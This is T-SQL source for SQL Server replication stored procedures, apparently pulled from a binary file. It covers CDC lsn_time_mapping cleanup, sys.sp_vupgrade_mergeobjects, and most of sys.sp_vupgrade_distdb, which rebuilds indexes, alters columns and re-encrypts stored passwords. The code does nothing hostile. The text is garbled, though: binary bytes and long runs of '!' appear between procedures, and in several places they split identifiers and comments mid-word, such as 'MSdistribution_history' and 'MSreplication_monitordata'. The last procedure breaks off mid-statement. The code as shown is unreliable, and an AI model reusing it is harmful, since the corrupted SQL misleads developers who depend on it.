			if @@error <> 0 
			begin
				raiserror(22923, 16, -1, @db_name, @retention)
				return 1
			end
		end

		set @action = N'delete top (@threshold) from [cdc].[lsn_time_mapping] where start_lsn < @low_water_mark'
		if (@low_water_mark is not null)
		begin
			while (@delete_count > 0) 
			begin
	
				-- Delete up to @threshold qualifying rows while 
				-- the number of deleted rows is positive
				delete top (@threshold) from [cdc].[lsn_time_mapping]
				where start_lsn < @low_water_mark
			
				set @delete_count = @@rowcount
				
			end
		end
	 
		
	END TRY
	
	BEGIN CATCH
	
		-- This is a best effort attempt to delete obsolete entries in cdc.lsn_time_mapping
		set @raised_error = ERROR_NUMBER()
		set @raised_message = ERROR_MESSAGE()
		
	END CATCH
	
	-- If an error was raised, return an informational message and keep going.
	if (@raised_error <> 0)
	begin
		raiserror(22853, 10, -1, @db_name, @action, @raised_error, @raised_message)
	end	

    return 0
    
end
01 D89&h"!>!!!!!!!!!!!	`^"<>r5?p0֕ 8
create procedure sys.sp_vupgrade_mergeobjects( @login sysname = NULL,  @password sysname = N'', @security_mode bit = 1) 
as
begin
    declare @qual_source_object nvarchar(540),
                @artnick int,
                @objid int,
                @pubid uniqueidentifier,
                @artid uniqueidentifier,
                @retcode int,
                @source_object sysname,
                @source_owner sysname
   
    declare @publication_number smallint
    declare @partition_id_eval_proc sysname
    declare @pubidstr sysname



    -----------------------------------------------------------------
    -- verify input parameters (1,2.3)
    -----------------------------------------------------------------
    -- 1. don't upgrade system databases and distribution databases
     if db_name() in (N'master' COLLATE DATABASE_DEFAULT,
                                N'tempdb' COLLATE DATABASE_DEFAULT,
                                N'msdb'   COLLATE DATABASE_DEFAULT,
                                N'model'   COLLATE DATABASE_DEFAULT)
        or sys.fn_MSrepl_isdistdb (db_name()) = 1
        or databasepropertyex(db_name(), 'Updateability') <> 'READ_WRITE'                                
        return 1

    -- 2. Security Check: require sysadmin
    IF (ISNULL(IS_SRVROLEMEMBER('sysadmin'),0) = 0)
    BEGIN
        RAISERROR(21089,16,-1) 
        RETURN (1)
    END

    -- 3. Check to ensure a login is provided if security mode is SQL Server authentication.
    select @login = rtrim(ltrim(isnull(@login, '')))
    if @security_mode = 0 and @login = ''
    begin
        -- '@login cannot be null or empty when @security_mode is set to 0 (SQL Server authentication).'
        raiserror(21694, 16, -1, '@login', '@security_mode')
        return 1
    end

    --4. Only upgrade merge databases
    if( object_id('dbo.sysmergearticles') is NULL)
        return 1
                   
    begin tran
    save tran vupgrade_mergeobjects   

    --------------------------------------------------------------------
    -- Loop through each article in the database
    --------------------------------------------------------------------    

    -- regenerate procs that is publication-specific ( not on the article leve)
    declare @pubs table ( pubid uniqueidentifier)  -- a list of publications that has been processed
    declare @snapshot_ready tinyint    
    
    select @artnick = min(nickname) from dbo.sysmergearticles
    while @artnick is not null
    begin
        
        select @objid = NULL
        select @source_object = NULL
        select top 1 @objid = objid, @artid = artid, @pubid = pubid from dbo.sysmergearticles where nickname = @artnick
        select @source_owner = schema_name(schema_id), @source_object = name from sys.objects where object_id = @objid
        if @objid is NULL or @source_object is NULL
            goto error

        -- don't regenerate objects if snapshot has not been run
            select @snapshot_ready = snapshot_ready from dbo.sysmergepublications where pubid = @pubid
            if @snapshot_ready=0
                goto nextarticle        

        -- should we drop trigger before disable triggers?
        exec @retcode = sys.sp_MSdroparticletriggers @source_object, @source_owner
        if @retcode<>0 or @@error<>0
            goto error

        --------------------------------------------------------------------
        -- Step 1: disable DML for all articles in this database  
        --------------------------------------------------------------------            
        exec sys.sp_MScreatedisabledmltrigger @source_object, @source_owner
        if @retcode<>0 or @@error<>0
            goto error

        --------------------------------------------------------------------
        -- Step 2: regenerate triggers and procs
        --------------------------------------------------------------------    

        select @qual_source_object = QUOTENAME(@source_owner) + N'.' + QUOTENAME(@source_object)
        exec sys.sp_MSResetTriggerProcs @qual_source_object, @pubid, 1, 1  --article level reset, regenerate sub procs

        
        -- if this publication has not been processed for regenerating the publication-level objects
        if not exists (select pubid from @pubs where pubid = @pubid)
        begin
            declare @use_partition_groups smallint
            select @use_partition_groups = use_partition_groups from dbo.sysmergepublications where pubid = @pubid
            if (@use_partition_groups > 0) --only do this if we use partition groups
            begin        
	            exec @retcode = sys.sp_MSsetup_publication_for_partition_groups @pubid

	             -- regenerate the partitionid_eval proc, but don't change the table, by setting @upgrade = 1
	            exec @retcode = sys.sp_MSsetup_partition_groups_table @pubid, 1
            end	            

            -- now insert this pubid into the tracking table
            insert into @pubs(pubid) values( @pubid )
        end --if not exists (select pubid from @pubs where pubid = @pubid)

        --------------------------------------------------------------------
        -- Step 3: enable DML for all articles in this database
        --------------------------------------------------------------------

        exec sys.sp_MSdropdisabledmltrigger @source_object, @source_owner
        if @retcode<>0 or @@error<>0
            goto error

nextarticle:
        -- find next article        
        select @artnick = min(nickname) from dbo.sysmergearticles where nickname > @artnick
    end -- end article while
   
    commit tran
            
    return (0)

error: 
    rollback tran vupgrade_mergeobjects
    commit tran
    return (1)
end
0I D8~hb"!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!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!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!z`<(vcreate procedure sys.sp_vupgrade_distdb 
as
begin
    set nocount on

    declare @database sysname
                ,@table_name sysname
                ,@retcode integer
                ,@column_name nvarchar(128)
                ,@column_type nvarchar(128)
                ,@alter_cmd nvarchar(max)

    -- raiserror('sp_vupgrade_publisher', 0,1) with nowait
    SELECT @database = DB_NAME()
    
   	--
    -- drop obsolete local procedures
    --
    if object_id(N'dbo.sp_MSadd_repl_commands10', 'local') is not null
        drop procedure dbo.sp_MSadd_repl_commands10
    if object_id(N'dbo.sp_MSdrop_agent_entry', 'local') is not null
        drop procedure dbo.sp_MSdrop_agent_entry
    if object_id(N'dbo.sp_MSgetlasthistorytimestamp', 'local') is not null
        drop procedure dbo.sp_MSgetlasthistorytimestamp

    /* 
     * MSrepl_version 
     * Add new unique idx for correctness iff there are no uniqueness violations. 
    */
    select @table_name = N'MSrepl_version'
    if object_id('MSrepl_version') is not NULL
    begin
        if exists( select major_version, minor_version, revision
            from MSrepl_version
            group by major_version, minor_version, revision
            having count(*) > 1 )
            raiserror(21203, 10, 9, @table_name) 
        else
            if not exists( select * from sysindexes where name = 'ucMSrepl_version' AND
                id = OBJECT_ID('MSrepl_version') )
                create unique clustered index ucMSrepl_version on dbo.MSrepl_version
                    (major_version, minor_version, revision)
    end
    -- 
    -- MSrepl_version 
    -- Add new unique idx iff there are no uniqueness violations. 
    --
    select @table_name = N'MSpublications'
    if object_id('dbo.MSpublications') is not NULL
    begin
        if exists( select publication, publisher_db, publisher_id
            from dbo.MSpublications
            group by publication, publisher_db, publisher_id
            having count(*) > 1 )
            raiserror(21203, 10, 9, @table_name) 
        else
            if not exists( select * from sysindexes where name = 'uc2MSpublications' AND
                id = OBJECT_ID('dbo.MSpublications') )
              CREATE UNIQUE INDEX uc2MSpublications ON dbo.MSpublications
                 (publication, publisher_db, publisher_id)

        if not exists (select * from sys.columns where name = 'allow_initialize_from_backup' and
            object_id = object_id('dbo.MSpublications'))
        begin
            alter table dbo.MSpublications add allow_initialize_from_backup	bit	not null default 0
        end

        if not exists (select * from sys.columns where name = 'min_autonosync_lsn' and
            object_id = object_id('dbo.MSpublications'))
        begin
            alter table dbo.MSpublications add min_autonosync_lsn varbinary(16) NULL
        end
    end
    /* 
     * MSsnapshot_history
     * Add new unique idx for correctness iff there are no uniqueness violations. Drop old
     * index in favor of new column order in this index. Add new non-clustered index as needed.
    */
    select @table_name = N'MSsnapshot_history'
    if object_id('MSsnapshot_history') is not NULL
    begin
        if exists( select agent_id, timestamp, start_time, time
            from MSsnapshot_history
            group by agent_id, timestamp, start_time, time
            having count(*) > 1 )
            raiserror(21203, 10, 10, @table_name)
        else
        begin
            if exists( select * from sys.indexes where name = 'ucMSsnapshot_history' AND 
                object_id = OBJECT_ID('MSsnapshot_history'))
            begin 
                drop index dbo.MSsnapshot_history.ucMSsnapshot_history
            end    
            create unique clustered index ucMSsnapshot_history on dbo.MSsnapshot_history
                        (agent_id, timestamp, start_time, time)
        end
            
        if exists (select * from sysindexes where name = 'nc1MSsnapshot_history' and id=object_id('MSsnapshot_history'))
        begin
            drop index MSsnapshot_history.nc1MSsnapshot_history
        end
        
       if exists (select * from sys.columns where name = 'comments' and object_id=object_id('MSsnapshot_history'))
       begin 
	    alter table MSsnapshot_history alter column comments nvarchar(1000) NOT NULL
       end
    end

    /* 
     * MSlogreader_history
     * Add new unique idx for correctness iff there are no uniqueness violations. Drop old
     * index in favor of new column order in this index.
    */
    select @table_name = N'MSlogreader_history'
    if object_id('MSlogreader_history') is not NULL
    begin
        if exists( select agent_id, timestamp, runstatus, start_time, time
            from MSlogreader_history
            group by agent_id, timestamp, runstatus, start_time, time
            having count(*) > 1 )
            raiserror(21203, 10, 11, @table_name)
        else
        begin
            if exists( select * from sysindexes where name = 'ucMSlogreader_history' AND 
                id = OBJECT_ID('MSlogreader_history'))
            begin
                drop index dbo.MSlogreader_history.ucMSlogreader_history
            end            
            create unique clustered index ucMSlogreader_history on dbo.MSlogreader_history
                      (agent_id, timestamp, runstatus, start_time, time)
        end
        if exists (select * from sysindexes where name = 'nc1MSlogreader_history' and id=object_id('MSlogreader_history'))
        begin
            drop index MSlogreader_history.nc1MSlogreader_history
        end
       if exists (select * from sys.columns where name = 'comments' and object_id=object_id('MSlogreader_history'))
       begin 
	    alter table MSlogreader_history alter column comments nvarchar(4000) NOT NULL
       end        
       if not exists (select * from sys.columns where name = 'updateable_row' and object_id=object_id('MSlogreader_history'))
       begin 
	    alter table MSlogreader_history add updateable_row bit NOT NULL default 0
       end	
    end

    if object_id('MSqreader_history') is not NULL
    begin
       if exists (select * from sys.columns where name = 'comments' and object_id=object_id('MSqreader_history'))
       begin 
	    alter table MSqreader_history alter column comments nvarchar(1000) NOT NULL
       end                
    end


    /* 
     * MSdistribution_history
     * Add new unique idx for correctness iff there are no uniqueness violations. Drop old
     * index in favor of new column order in this index. Add new non-clustered index as needed.
    */
    select @table_name = N'MSdistribution_history'
    if object_id('MSdistribution_history') is not NULL
    begin
        if exists( select agent_id, timestamp, runstatus, start_time, time
            from MSdistribution_history
            group by agent_id, timestamp, runstatus, start_time, time
            having count(*) > 1 )
            raiserror(21203, 10, 12, @table_name)
        else
        begin
            if exists( select * from sysindexes where name = 'ucMSdistribution_history' AND 
                id = OBJECT_ID('MSdistribution_history'))
            begin
                drop index dbo.MSdistribution_history.ucMSdistribution_history
            end
            create unique clustered index ucMSdistribution_history on dbo.MSdistribution_history
                    (agent_id, timestamp, runstatus, start_time, time)
        end

        if exists (select * from sysindexes where name = 'nc1MSdistribution_history' and id=object_id('MSdistribution_history'))
        begin
            drop index MSdistribution_history.nc1MSdistribution_history
        end

        if exists (select * from sys.columns
                    where name = 'comments'
                    and object_id=object_id('M!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(}y7vSdistribution_history'))
        begin 
            alter table MSdistribution_history alter column comments nvarchar(max) not null
        end

        if exists (select * from sys.columns
                    where name = 'total_delivered_commands'
                    and object_id=object_id('MSdistribution_history'))
        begin 
            alter table MSdistribution_history alter column total_delivered_commands bigint not null
        end
    end

    /* 
     * MSmerge_history
     * Add new unique idx for correctness iff there are no uniqueness violations. Drop old
     * index in favor of new column order in this index. Add new non-clustered index as needed.
    */
    if exists( select * from sysindexes where name = 'nc1MSmerge_history' AND 
                id = OBJECT_ID('MSmerge_history'))
    begin
    	drop index dbo.MSmerge_history.nc1MSmerge_history
    end
    if exists(select * from sys.columns where object_id = object_id('MSmerge_history') and name = 'session_id')
    	and exists (select * from sys.columns where object_id = object_id('MSmerge_history') and name = 'timestamp')
    begin
    	create nonclustered index nc1MSmerge_history on MSmerge_history(session_id, timestamp)
    end
   
    exec @retcode = sys.sp_MSupgrade_merge_history90
    if @@error <> 0 or @retcode <> 0
        return 1

    /* 
     * MSsnapshot_agents
     * Add new unique idx for correctness iff there are no uniqueness violations. Drop old
     * index in favor of new column order in this index. Add new non-clustered index as needed.
    */
    select @table_name = N'MSsnapshot_agents'
    if object_id('MSsnapshot_agents') is not NULL
    begin
        if exists( select id
            from MSsnapshot_agents
            group by id
            having count(*) > 1 )
            raiserror(21203, 10, 14, @table_name)
        else
        begin
            if exists( select * from sysindexes where name = 'iMSsnapshot_agents' AND 
                id = OBJECT_ID('MSsnapshot_agents'))
            begin
                drop index dbo.MSsnapshot_agents.iMSsnapshot_agents
            end
            
            create unique index iMSsnapshot_agents on dbo.MSsnapshot_agents    (id)
        end

        if not exists (select * from sys.columns where name = 'dynamic_filter_login' and
            object_id = object_id('MSsnapshot_agents'))
        begin
            alter table MSsnapshot_agents add dynamic_filter_login sysname NULL
        end

        if not exists (select * from sys.columns where name = 'dynamic_filter_hostname' and
            object_id = object_id('MSsnapshot_agents'))
        begin
            alter table MSsnapshot_agents add dynamic_filter_hostname sysname NULL
        end
    end

    /* 
     * MSlogreader_agents
     * Add new unique idx for correctness iff there are no uniqueness violations. Drop old
     * index in favor of new column order in this index. Add new non-clustered index as needed.
    */
    select @table_name = N'MSlogreader_agents'
    if object_id('MSlogreader_agents') is not NULL
    begin
        if exists( select id
            from MSlogreader_agents
            group by id
            having count(*) > 1 )
            raiserror(21203, 10, 15, @table_name)
        else
        begin
            if exists( select * from sysindexes where name = 'iMSlogreader_agents' AND 
                id = OBJECT_ID('MSlogreader_agents'))
            begin
                drop index dbo.MSlogreader_agents.iMSlogreader_agents
            end
            create unique index iMSlogreader_agents on dbo.MSlogreader_agents (id)
        end
    end

    /* 
     * MSdistribution_agents
     * Add new unique idx for correctness iff there are no uniqueness violations. Drop old
     * index in favor of new column order in this index. Add new non-clustered index as needed.
    */
    select @table_name = N'MSdistribution_agents'
    if object_id('MSdistribution_agents') is not NULL
    begin
        if exists( select id
            from MSdistribution_agents
            group by id
            having count(*) > 1 )
            raiserror(21203, 10, 16, @table_name)
        else
        begin
            if exists( select * from sysindexes where name = 'ucMSdistribution_agents' AND 
                id = OBJECT_ID('MSdistribution_agents'))
            begin
                drop index dbo.MSdistribution_agents.ucMSdistribution_agents
            end
            create unique clustered index ucMSdistribution_agents on dbo.MSdistribution_agents (id)
        end

        declare colcurs cursor LOCAL FAST_FORWARD 
        for (select col_name, col_type from (select col_name = 'subscriber_security_mode', col_type = 'smallint NULL'-- subscriber_security_mode
                                                             union all
                                                             select col_name = 'subscriber_login', col_type = 'sysname NULL'-- subscriber_login
                                                             union all
                                                             select col_name = 'subscriber_password', col_type = 'nvarchar(524) NULL'-- subscriber_password
                                                             union all
                                                             select col_name = 'reset_partial_snapshot_progress', col_type = 'bit default 0 not null'-- reset_partial_snapshot_progress
                                                             union all
                                                             select col_name = 'subscriptionstreams', col_type = 'tinyint NULL' -- subscriptionstreams
                                                             ) as t1                                                             
               left outer join
               sys.columns as t2
               on (t1.col_name = t2.name and t2.object_id = object_id('dbo.MSdistribution_agents', 'U'))
               where t2.name is null) --This query gives all the columns in t1 that are not in syscolums
        for read only
        open colcurs
        fetch colcurs into @column_name, @column_type
        if (@@fetch_status <> -1)
        begin
            select @alter_cmd = 'alter table dbo.MSdistribution_agents add ' + @column_name + ' ' + @column_type
            fetch colcurs into @column_name, @column_type
            while(@@fetch_status <> -1)
            begin
                select @alter_cmd = @alter_cmd + ', ' + @column_name + ' ' + @column_type
                fetch colcurs into @column_name, @column_type
            end
            exec (@alter_cmd)
            if @@error <> 0 return 1
        end
        close colcurs
        deallocate colcurs
    end

    /* 
     * MSmerge_agents
     * Add new unique idx for correctness iff there are no uniqueness violations. Drop old
     * index in favor of new column order in this index. Add new non-clustered index as needed.
    */
    select @table_name = N'MSmerge_agents'
    if object_id('MSmerge_agents') is not NULL
    begin
        if exists( select id
            from dbo.MSmerge_agents
            group by id
            having count(*) > 1 )
            raiserror(21203, 10, 17, @table_name)
        else
        begin
            if exists( select * from sysindexes where name = 'iMSmerge_agents' AND 
                id = OBJECT_ID('MSmerge_agents'))
            begin
                drop index dbo.MSmerge_agents.iMSmerge_agents
            end
            create index iMSmerge_agents ON dbo.MSmerge_agents (publication, publisher_db, publisher_id, subscriber_id, subscriber_db, anonymous_subid) 

        end
    end

    /* 
     * MSpublication_access
     * Add new unique idx for correctness iff there are no uniqueness violations. Drop old
     * index in favor of new column order in this index. Add new!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(Ev non-clustered index as needed.
    */
    if object_id('MSpublication_access') is not NULL
    begin
    	IF NOT EXISTS (SELECT * 
    					FROM sys.columns 
    					WHERE name = 'sid' 
    					AND object_id = object_id('MSpublication_access'))
	    BEGIN
			ALTER TABLE dbo.MSpublication_access ADD sid varbinary(85) NULL

			EXEC('UPDATE MSpublication_access SET sid = SUSER_SID(login,0)')
	    END
	   		    
        EXEC('if exists( select publication_id, sid
			            from MSpublication_access
			            group by publication_id, sid
			            having count(*) > 1 )
				begin
					raiserror(21203, 10, 18, N''MSpublication_access'' )
				end
		        else
		        begin
		            if exists( select * from sysindexes where name = ''ucMSpublication_access'' AND 
		                id = OBJECT_ID(''MSpublication_access''))
		            begin
		                drop index dbo.MSpublication_access.ucMSpublication_access
		            end

		            IF EXISTS (SELECT * 
		            			FROM sys.columns 
		            			WHERE name = ''publisher_id'' 
		            				AND object_id = object_id(''MSpublication_access''))
				    BEGIN
				    	ALTER TABLE MSpublication_access DROP COLUMN publisher_id
				    END	
				    
		            create unique clustered index ucMSpublication_access on dbo.MSpublication_access
		                (publication_id, sid)
		        end')
    end
    
    --
    -- MSreplication_monitordata
    -- Upgrade the indices
    --
    if object_id(N'MSreplication_monitordata') is not NULL
    begin
        -- drop old indices
        if exists (select * from sys.indexes where object_id = object_id(N'MSreplication_monitordata')
                            and name = N'nc1MSreplication_monitordata')
        begin
            drop index dbo.MSreplication_monitordata.nc1MSreplication_monitordata
        end
        if exists (select * from sys.indexes where object_id = object_id(N'MSreplication_monitordata')
                            and name = N'nc2MSreplication_monitordata')
        begin
            drop index dbo.MSreplication_monitordata.nc2MSreplication_monitordata
        end
        if exists (select * from sys.indexes where object_id = object_id(N'MSreplication_monitordata')
                            and name = N'nc3MSreplication_monitordata')
        begin
            drop index dbo.MSreplication_monitordata.nc3MSreplication_monitordata
        end
        if exists (select * from sys.indexes where object_id = object_id(N'MSreplication_monitordata')
                            and name = N'nc4MSreplication_monitordata')
        begin
            drop index dbo.MSreplication_monitordata.nc4MSreplication_monitordata
        end
        if exists (select * from sys.indexes where object_id = object_id(N'MSreplication_monitordata')
                            and name = N'nc5MSreplication_monitordata')
        begin
            drop index dbo.MSreplication_monitordata.nc5MSreplication_monitordata
        end
        -- create new ones
        if not exists (select * from sys.indexes where object_id = object_id(N'MSreplication_monitordata')
                            and name = N'nc2MSreplication_monitordata')
        begin
            create nonclustered index nc2MSreplication_monitordata 
                on dbo.MSreplication_monitordata(publication, publisher_db) 
        end
        if not exists (select * from sys.indexes where object_id = object_id(N'MSreplication_monitordata')
                            and name = N'nc6MSreplication_monitordata')
        begin
            create nonclustered index nc6MSreplication_monitordata 
                on dbo.MSreplication_monitordata(lastrefresh) 
        end
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'publication_id' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column publication_id int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'publisher_srvid' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column publisher_srvid int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'publication_type' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column publication_type int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'agent_type' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column agent_type int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'job_id' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column job_id uniqueidentifier null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'status' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column status int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'isagentrunningnow' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column isagentrunningnow bit null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'warning' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column warning int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'last_distsync' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column last_distsync datetime null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'agentstoptime' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column agentstoptime datetime null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'retention' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column retention int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'worst_latency' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column worst_latency int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'best_latency' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column best_latency int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'avg_latency' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column avg_latency int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'cur_latency' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column cur_latency int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'worst_runspeedPerf' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column worst_runspeedPerf int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'best_runspeedPerf' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column best_runspeedPerf int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplic!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!`<(svation_monitordata') and name = N'average_runspeedPerf' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column average_runspeedPerf int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'mergePerformance' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column mergePerformance int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'mergelatestsessionrunduration' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column mergelatestsessionrunduration int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'mergelatestsessionrunspeed' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column mergelatestsessionrunspeed int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'mergelatestsessionconnectiontype' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column mergelatestsessionconnectiontype int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MSreplication_monitordata') and name = N'retention_period_unit' and is_nullable = 0)
        	alter table dbo.MSreplication_monitordata alter column retention_period_unit int null
        
    end
    if (object_id(N'dbo.MScached_peer_lsns') is not null )
    begin
        if exists (select * from sys.columns where object_id = object_id('dbo.MScached_peer_lsns') and name = N'agent_id' and is_nullable = 0)
        	alter table dbo.MScached_peer_lsns alter column agent_id int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MScached_peer_lsns') and name = N'originator_publication_id' and is_nullable = 0)
        	alter table dbo.MScached_peer_lsns alter column originator_publication_id int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MScached_peer_lsns') and name = N'originator_db_version' and is_nullable = 0)
        	alter table dbo.MScached_peer_lsns alter column originator_db_version int null
        if exists (select * from sys.columns where object_id = object_id('dbo.MScached_peer_lsns') and name = N'originator_lsn' and is_nullable = 0)
        	alter table dbo.MScached_peer_lsns alter column originator_lsn varbinary(16) null
    end

    --
    -- Add default warnings in MSpublicationthresholds for existing publications
    --
    if (object_id(N'dbo.MSpublicationthresholds') is not null 
        and object_id(N'dbo.MSpublications') is not null 
        and object_id(N'msdb.dbo.MSreplmonthresholdmetrics') is not null)
    begin
        declare @publication_id int
                    ,@publication_type int
        --
        -- select publications that do not have entries in MSpublicationthresholds
        --
        declare #hc cursor LOCAL FAST_FORWARD for
            select publication_id, publication_type 
            from dbo.MSpublications
            where publication_id not in (select publication_id 
                                                from dbo.MSpublicationthresholds)
        for read only
        open #hc
        fetch #hc into @publication_id, @publication_type
        while (@@fetch_status != -1)
        begin
            -- check publication type
            if (@publication_type in (0,1))
            begin
                -- Snapshot or transactional publication
                -- warnings are enabled by default
                insert into dbo.MSpublicationthresholds (publication_id,metric_id,value, isenabled)
                    select @publication_id, metric_id, default_value, 1 
                    from msdb.dbo.MSreplmonthresholdmetrics
                    where metric_id = 1
                if (@publication_type = 0)
                begin
                    insert into dbo.MSpublicationthresholds (publication_id,metric_id,value, isenabled)
                        select @publication_id, metric_id, default_value, 1 
                        from msdb.dbo.MSreplmonthresholdmetrics
                        where metric_id = 2
                end
            end
            else
            begin
                -- Merge publication
                insert into dbo.MSpublicationthresholds (publication_id,metric_id,value)
                    select @publication_id, metric_id, default_value 
                    from msdb.dbo.MSreplmonthresholdmetrics
                    where metric_id in (4,5,6,7,8)
            end
            -- Check for error in insert
            if @@error <> 0
                return 1
            -- fetch next row
            fetch #hc into @publication_id, @publication_type
        end -- while (fetch)
        close #hc
        deallocate #hc
    end --if (object_id(N'dbo.MSpublicationthresholds') is not null
    /* 
     * Upgrade replication passwords in distribution database.
    */
    begin transaction
    save tran sp_vupgrade_distdb

    /*
     * MSsubscriptions
    */
    if object_id(N'MSsubscriptions') is not NULL
    begin
        if not exists (select * from sys.columns where object_id = object_id(N'MSsubscriptions') and name = N'nosync_type')
        begin
            alter table MSsubscriptions add nosync_type tinyint DEFAULT 0 NOT NULL -- 0(none), 1(replication support only), 2(initialize with backup), 3(initialize from lsn) 
        end
    end

    /*
     * MSsubscriber_info
    */
    if object_id('MSsubscriber_info') is not NULL
    begin
        if not exists (select * from sys.columns where object_id = Object_Id('MSSubscriber_info') and name = 'password' and max_length = '1048')
        begin
            /*
             * alter password column from sysname to nvarchar(524)
            */
            alter table MSsubscriber_info alter column password nvarchar(524)
        end

        /*
         * convert all the passwords to new encryption
         */
        exec('declare @password nvarchar(524)

		        declare cur_MSsubscriber_info CURSOR LOCAL FORWARD_ONLY for 
		            select password
		            from MSsubscriber_info
		            for update of password
		            
		        open cur_MSsubscriber_info
		        fetch next from cur_MSsubscriber_info into @password
		        while ( @@fetch_status <> -1 )
		        begin
		            EXEC sys.xp_repl_convert_encrypt_sysadmin_wrapper @password OUTPUT
		          
		            update MSsubscriber_info
		            set password=@password
		            where current of cur_MSsubscriber_info

		            fetch next from cur_MSsubscriber_info into @password
		        end')
    end

    /*
     * MSdistribution_agents
    */
    if object_id('MSdistribution_agents') is not NULL
    begin
        if not exists (select * from sys.columns where object_id = Object_Id('MSdistribution_agents') and name = 'dts_package_password' and max_length = '1048')
        begin
            /*
             * alter dts_package_password column from sysname to nvarchar(524)
            */
            alter table MSdistribution_agents alter column dts_package_password nvarchar(524)
        end    

        /*
         * convert all the dts_package_passwords to new encryption
         */
        exec('declare @dts_package_password nvarchar(524)

		        declare cur_MSdistribution_agents CURSOR LOCAL FORWARD_ONLY for 
		            select dts_package_password
		            from MSdistribution_agents
